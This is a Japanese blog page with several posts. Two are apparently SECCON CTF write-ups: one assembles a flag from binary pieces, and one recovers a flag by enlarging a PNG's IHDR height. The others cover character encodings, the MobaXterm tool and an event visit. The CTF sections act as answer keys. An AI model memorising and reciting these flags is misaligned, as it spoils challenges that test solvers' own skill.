 1.bin  SECCON{AaA
 2.bin  B
 3.bin  i
 4.bin  N
 5.bin  12345678
 6.bin  90abcdef
 7.bin  BDFHJLNP
 8.bin  AW
 9.bin  3a5d37a3
10.bin  8a0d28f
11.bin  aAq}

SECCON{AaABiN1234567890abcdefBDFHJLNPAW3a5d37a38a0d28faAq}

Steganography2

問題

ファイルからflagをさがせ.
sunrise.zip

中身は、sunrize.pngという画像


まず、バイナリエディタでゆるーく見てみましょう!

20151210_sunrize1.png

ファイルの終端付近に、様子の変な領域が見えますね。
png画像の終端を表す 00 00 00 00 49 45 4E 44 AE 42 60 82 "IENDョB`" が見えるので、当然この変な領域も画像として出力されていなければいけないはずですが、画像に変な箇所は見られませんでした。綺麗な朝日です。

それで、「あ、実際の画像サイズより小さくなってるんじゃね?」と思いついて調べてみました。
pngの画像サイズは、イメージヘッダ(Image header、IHDR)という場所に書かれています。

参考:イメージヘッダ(Image header、IHDR)
http://www.setsuki.com/hsp/ext/chunk/IHDR.htm

具体的には、"IHDR"という文字が書かれた後4Byteが画像の幅を表し、その更に後の4byteが画像の高さを表しています。

20151210_sunrize2.png

画像の高さを修正したいので、00 00 0F C0 の所の数を適当に増やしてみます。
画像の下部にフラグが出てきました。

20151210_sunrize3.jpg

文字コードのカオスな世界を整理してみた

Added by kanata about 5 years ago

文字コード

なんか仕事でやりそうだったので、この際カオスだった文字コード云々を整理してみる。

概要

文字セットと符号化方式

まず、文字セット(文字集合)と符号化方式という概念を理解することが必要。

文字セットとは

アルファベットや記号はもちろん、漢字やひらがな、ハングルやヘブライ文字など、世界中で使われている文字を集めたもの。

Unicodeは文字集合です。

Unicodeは便宜上、Unicodeスカラ値(16進数にU+をつけて U+0000~U+20FFFF で表現)という値で文字を管理しています。
Unicodeスカラ値はコードポイントという呼ばれ方をすることもあります。厳密には意味が違いますが、ここでは同じものだと思っておけば大過ありません。

符号化方式とは

文字セットで定義されている一つ一つの文字を、どのように符号化するかという文字符号化方式(エンコーディング)です。

Unicodeという一つの文字集合に対して、異なる文字符号化方式UTF-8、UTF-16が存在し、符号化した結果も異なります。

UTF-8とUTF-16の符号化方式の実装例

Unicodeスカラ値 文字 説明 UTF-8 UTF-16
U+0041 A ラテン文字 41 0041
U+0061 a ラテン文字 61 0061
U+00E8 è ラテン文字 C3 A8 00E8
U+042F Я キリル文字(ロシア) D0 AF 042F
U+05D0 א ヘブライ文字 D7 90 05D0
U+0905 デーヴァナーガリ文字 E0 A4 85 0905
U+0E04 タイ文字 E0 B8 84 0E04
U+2162 ローマ数字 E2 85 A2 2162
U+3042 ひらがな E3 81 82 3042
U+4E9C 漢字(あ) E4 BA 9C 4E9C
U+D558 ハングル ED 95 98 D558
U+103A0 𐎠*1 楔形文字 F0 90 8E A0 D800 DFA0
U+2000B 𠀋 漢字(じょう) F0 A0 80 8B D840 DC0B
U+20BB7 𠮷 漢字(よし) F0 A0 AE B7 D842 DFB7
U+29E3D 𩸽 漢字(ほっけ) F0 A9 B8 BD D867 DE3D

*1…現状どのブラウザでも表示できないっぽい。フォントが用意されていないのかも?

文字セットと符号化方式の関係

ここ超重要。

┏文字セット(JIS) ━━━━━━━━━━┓              ┏文字セット(Unicode) ━━━━━━━━┓
┃                                    ┃              ┃                                    ┃
┃┌JIS X 0213(JIS2004) ──────┐┃              ┃┌UCS4──────────────┐┃
┃│ 第三水準                       │┃              ┃│ 4byteで表現できる文字の範囲    │┃
┃│ 第四水準                       │┃ どんな文字を ┃│                                │┃
┃│ +10文字                        │┃ 取り込むか   ┃│                                │┃
┃│                                │┃ インプットに ┃│                                │┃
┃│┌JIS X 208(JIS90)─┐          │┃ なってる     ┃│┌UCS2───────┐          │┃
┃││ 第一水準         │          │┃ →→→→→→ ┃││2byteで表現できる │          │┃
┃││ 第二水準         │          │┃              ┃││文字の範囲        │          │┃
┃││                  │          │┃              ┃││                  │          │┃
┃│└─────────┘          │┃              ┃│└─────────┘          │┃
┃└────────────────┘┃              ┃└────────────────┘┃
┃                                    ┃              ┃                                    ┃
┃ ※文字毎にJISコードっていう番号が  ┃              ┃ ※文字毎にUnicodeスカラ値っていう  ┃
┃   振られているけど、現在ではあまり ┃              ┃   番号が振られているけど、そのまま ┃
┃   使われない。                     ┃              ┃   使わない。                   ┃
┗━━━━━━━━━━━━━━━━━━┛              ┗━━━━━━━━━━━━━━━━━━┛
  ↓JISコードを1bitシフト ↓JISコードに0x8080を加算     ↓スカラ値をなんか  ↓スカラ値をなんか
  ↓                      ↓                            ↓いい感じに計算    ↓いい感じに計算
┌Shift JIS ──┐┌EUC ─────┐          ┌UTF-16───────┐┌UTF-8 ───────┐
│JIS X 208まで ││              │          │基本           2byte││ASCII          1byte│
└───────┘└───────┘          │サロゲート文字 4byte││ギリシャ文字等 2byte│
  ↓                                          └──────────┘│ほとんどの漢字 3byte│
  ↓Microsoftが独自拡張                                               │JIS X 0213相当 4byte│
  ↓                                                                  └──────────┘
┌CP932 ────────────┐
│拡張文字が詰め込まれている    │
│ - JIS X 0201(半角カナ)       │
│ - NEC拡張文字(①とか)        │
│ - IBM拡張文字                │
│ - NEC選定IBM拡張文字         │
│                              │
│呼び方違うだけで同じものがある│
│MS932       ← Javaでの呼び方 │
│Windows-31J ← IANAでの呼び方 │
└───────────────┘

JIS X 0213(JIS2004)とUTF-16(サロゲート文字)とUTF-8(4Byte文字)の微妙な関係

UTF-16(サロゲート文字)

サロゲート文字に、JIS X 0213(JIS2004)の文字が、 だいたい 入っている。
ただ、2Byte範囲の方にも入っているので、完全に対応していない。

UTF-8(4Byte文字)

UTF-8(4Byte文字)に、JIS X 0213(JIS2004)の文字が、 だいたい 入っている。らしい。
(本当かどうか未確認)

みんなの混乱を招く、混同している所

Shift JIS と CP932の混同

  • Windowsは、ANSIと呼んたりする。それCP932や。。
  • CP932をShift JISと呼んでるソフトやOSがあるが、厳密には間違っている。

同じものなのに呼称が異なる

  • CP932,MS932,Windows-31J 同じもんや・・・しかも、これらが Shift JISと混同される

UnicodeとUTF-16・UTF-8の混同

Unicodeは、文字セットであり、文字コードでは無いが、一部のソフトやOSで混同している。

  • Windowsでは、Unicodeと言えば、UTF-16を指している

サロゲートペア・サロゲート文字の混同

本来は、UTF-16の2byte範囲で表現しきれない文字に対して、名付けられた名称である。
が、UTF-8の4Byte文字に対して、サロゲート文字と誤って呼ぶケースが多い。

EBCDIC+JEF

蛇足だが、レガシーシステムの文字コードはこんな感じ。

┌EBCDIC──┐ ┌JIS X 028(JIS90)──────────┐
│ASCIIとは │ │そのままのJISコード値を使うが、     │
│別の独自の│+│どこから漢字かが、判らないので      │
│文字コード│ │KI:漢字イン                         │
│          │ │KO:漢字アウト                       │
│          │ │と呼ばれる制御コードで囲む必要がある│
└─────┘ └──────────────────┘

hidekatsu-izuno 日々の記録 - JEF4J をリリースしてみた。あるいは、メインフレームの文字コードの話。
http://hidekatsu-izuno.hatenablog.com/entry/2018/01/14/140124

UTF-8の4Byte文字(または、サロゲートペア)は、何が面倒なのか

UTF-8から、CP932(または、Shift JIS)への変換ができない

UTF-8の4Byteは、すべからくJISの第三水準・第四水準文字であるから、CP932(または、Shift JIS)には変換できない。

Windowsは「JIS第3・第4水準はUnicodeで対応する(Shift JISには追加しない)」というスタンスらしい。

DB保存ができない

MySQLもOracle Database同様にUTF-8で文字を保存できる。ところが、4Byte文字を想定していないために、4バイトとなる文字を格納できない。

プログラミングが面倒

byteとして扱った瞬間から、文字数のカウントやら、どれがサロゲート文字なのか判定が必要やら、考慮しなきゃいけないことが増えまくる。

容量の見積もりが面倒

実際は、DBの容量見積もりとかも含めて、もっと大きなスケールになると思うけど。

100文字記録されるファイルが100個あるとするじゃん?
1文字2byteだったら、

2byte * 100文字 * 100ファイル ≒ 20kbyte じゃん?

でも、UTF-8だと、1文字1byte~4byteじゃん?
しょうがないから、最大値で見積もるじゃん?

4byte * 100文字 * 100ファイル ≒ 40kbyte で倍になるじゃん?

でも、サロゲート文字で埋め尽くされることは無いだろうから、容量の無駄じゃん?
「容量の無駄なんでちょっと減らしときますね^^」とか、お客さんに説明できないじゃん?

文字コードにおける諸所のトラブル原因

波ダッシュ問題

まとめ中

Unicodeの字形の登録ミスに起因して、以下の状態になっています。

  • 波ダッシュ 〜

    • WAVE DASH(ユニコードポイント : U+301C)
  • 全角チルダ ~

    • FULLWIDTH TILDE(ユニコードポイント : U+FF5E)
    • Shift JIS には存在しない

同じ字形に見えますね。Windowsなどでは波ダッシュの代用として全角チルダが不適切に使われるので混乱の元となっています。Macで入力した"〜"とWindowsで入力した"~"は違うものとして扱われます。仮にパスワードや、パスワードを忘れた際の合言葉に使っていた場合「あれ~MacではログインできるのにWindowsではログインできないな~」ということになります。

寿司ビール問題

まとめ中

🍣🍺という文字を扱えないソフトウェアがあるという所から名付けられた問題です。UTF-8において、1文字4Byteの文字を考慮しないかったことに起因した不具合でした。最近は、この不具合を抱えたソフトウェアは少なくなりました。

Unicode/UTF-8のあまり知られていない仕様

サロゲートペア

まとめ中

𩸽

Unicode結合文字

まとめ中

橋本商会 - UTF-8-MACをUTF-8に変換する
http://shokai.org/blog/archives/5953

Unicode正規化 変換するワンライナー

Unicode正規化するシェル芸を作りました

python3で

echo -n "DQⅢ①⑳海海神神㌔㍉ビデブー" | python -c "import sys,unicodedata; print(unicodedata.normalize(\"NFKC\", sys.stdin.read()));"
DQIII120海海神神キロミリビデブー

perlで

echo -n "DQⅢ①⑳海海神神㌔㍉ビデブー" | perl -e "use strict;use utf8;use Encode;use Unicode::Normalize;binmode STDIN, ':encoding(UTF-8)';binmode STDOUT, ':encoding(UTF-8)';print Unicode::Normalize::NFKC(<STDIN>);"
DQIII120海海神神キロミリビデブー

検出する方法について

異字体セレクタ

まとめ中

Article

Qiita - 絵文字を支える技術の紹介
https://qiita.com/nonanona/items/b148c212ba7c24942e93

絵文字がある種のUnicodeバグを世界から一掃しつつある件について
https://note.mu/ruiu/n/nc9d93a45c2ec

参考

ㇹ゚ン゚'ㇳ̃ヴ゙ニ゙コ゚ヮヰ文̂字̠コ゚−ト゚ノ゙ㇵナ゚ㇱ(現在に至るまでの文字コードの軌跡と簡単な使い方について)
https://heppoko.hatenadiary.jp/entry/2018/04/28/184559

ウナのIT資格一問一答 - 文字コードやフォント、その他PC関連の読み物です。
http://una.soragoto.net/topics/index.html

JISから迫る文字コード入門
https://speakerdeck.com/todokr/jiskarapo-ruwen-zi-kodoru-men

hidekatsu-izuno 日々の記録 - JEF4J をリリースしてみた。あるいは、メインフレームの文字コードの話。
http://hidekatsu-izuno.hatenablog.com/entry/2018/01/14/140124

長くて覚えやすくて複雑なパスワードとemojiの話
https://speakerdeck.com/ozuma/chang-kutejue-eyasukutefu-za-napasuwadotoemojifalsehua

Dive Into Python 3 第4章.文字列
http://diveintopython3-ja.rdy.jp/strings.html

アプリの国際化の舞台裏
https://speakerdeck.com/niw/apurifalseguo-ji-hua-falsewu-tai-li

Unicodeで絶対知っておくべきセキュリティ5つの注意(翻訳)
https://techracho.bpsinc.jp/hachi8833/2017_11_28/48435

MobaXterm - 求めていたWindows用GNU環境がここにあった!!!1

Added by kanata about 5 years ago

Windowsでgrepしたいとか、シェルスクリプトでデータ編集したいとか、scp使いたいとか、sed使いたいとか、もぅあれやこれやが稀によくあった。
でも、cygwinを入れるという気にならなかった。portable版がないしね。ちょこっとGNUコマンド使いたいだけなんだけど。

MobaXtermが全てを解決してくれたんだ!!1

  • 日常的に使いたいコマンドがほぼ全部最初入っている!シェルスクリプト組む時に、足りないコマンドが無い。
  • それにしても軽い。
  • portable版がある。20MBくらい。余裕で持ち運べる。
  • SSHクライアントも入ってる。超便利。TeraTermの代わりになる。
  • X Clientもできる。
  • ちなみにmoshも入ってる。

素晴らしい。

MobaXterm
http://mobaxterm.mobatek.net/

20151107_mobaxterm.jpg

Dentoo.LT#12を聴講させて頂きました

Added by kanata about 5 years ago

以前参加させて頂いたすみだセキュリティ勉強会2015#1Dentoo.LTというものの存在を知り、前々から興味があったので、聴講させて頂きました。

コレ好きィ!
とっても面白かった。いつか自分も発表したい!

色々なマニアックな話題の中にも、高度に技術的な話が織り込まれていて、いや、これ、ホントレベル高いと思っていながらも、ずっと笑ってました。
完飲。

あと、文字フリマのステッカー頂きました。ありがとうございます。

1 ... 9 10 11 12 13 ... 15 (101-110/146)

Also available in: Atom

Add picture from clipboard (Maximum size: 100 MB)